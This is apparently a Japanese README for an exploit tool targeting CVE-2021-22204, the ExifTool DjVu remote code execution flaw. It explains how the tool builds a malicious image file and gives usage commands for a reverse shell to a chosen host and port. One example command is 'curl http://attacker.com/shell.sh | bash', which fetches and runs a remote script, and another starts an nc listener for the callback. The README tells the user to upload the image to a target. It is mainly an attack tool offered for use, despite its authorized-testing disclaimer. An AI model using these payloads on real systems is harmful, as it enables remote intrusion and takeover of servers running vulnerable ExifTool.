
ExifTool RCEエクスプロイト(CVE-2021-22204) - 改良版、exiftool依存なし
CVE-2021-22204 に対する改良版エクスプロイトです。ExifTool バージョン 7.44 から 12.23 の脆弱性で、悪意のある DjVu ファイルを処理する際に任意のコード実行が可能になります。
ExifTool バージョン 7.44 から 12.23 の DjVu ファイル形式におけるユーザーデータの無効化処理の不備により、悪意のある画像を解析する際に任意のコードが実行されます。このエクスプロイトは、脆弱な ExifTool バージョンで処理されると攻撃者が制御するコードを実行する悪意のある画像ファイルを生成します。
これは UNICORDev/exploit-CVE-2021-22204 に触発された改良版で、以下の改善が施されています。
exiftool -config を使用してペイロードを埋め込んでいましたが、ExifTool がパッチ済み(v12.24+)の場合に失敗します。このバージョンでは純粋な DjVu ペイロードを djvumake のみで作成します。\c エスケープシーケンスの警告を修正)djvulibre-bin パッケージのみ必要sudo apt install djvulibre-bin
リバースシェル:
python3 exploit.py -s <LHOST> <LPORT>
カスタムコマンド:
python3 exploit.py -c "id > /tmp/pwned"
例:
# Generate reverse shell payload
python3 exploit.py -s 192.168.1.100 4444
# Generate command execution payload
python3 exploit.py -c "curl http://attacker.com/shell.sh | bash"
# Start listener and wait for callback
nc -nlvp 4444
エクスプロイトは image.jpg を生成します。これをターゲットにアップロードし、ExifTool で処理させてください。
このツールは教育目的および許可されたセキュリティテスト専用に提供されています。
著者は、このツールの誤用またはそれによって生じたいかなる損害についても責任を負いません。このエクスプロイトは、自身が所有するシステム、または明示的な書面による許可を得たシステムに対してのみ使用してください。
許可なくコンピュータシステムにアクセスすることは違法であり、法律で罰せられます。責任を持って使用してください。
MIT ライセンス - LICENSE ファイルを参照してください。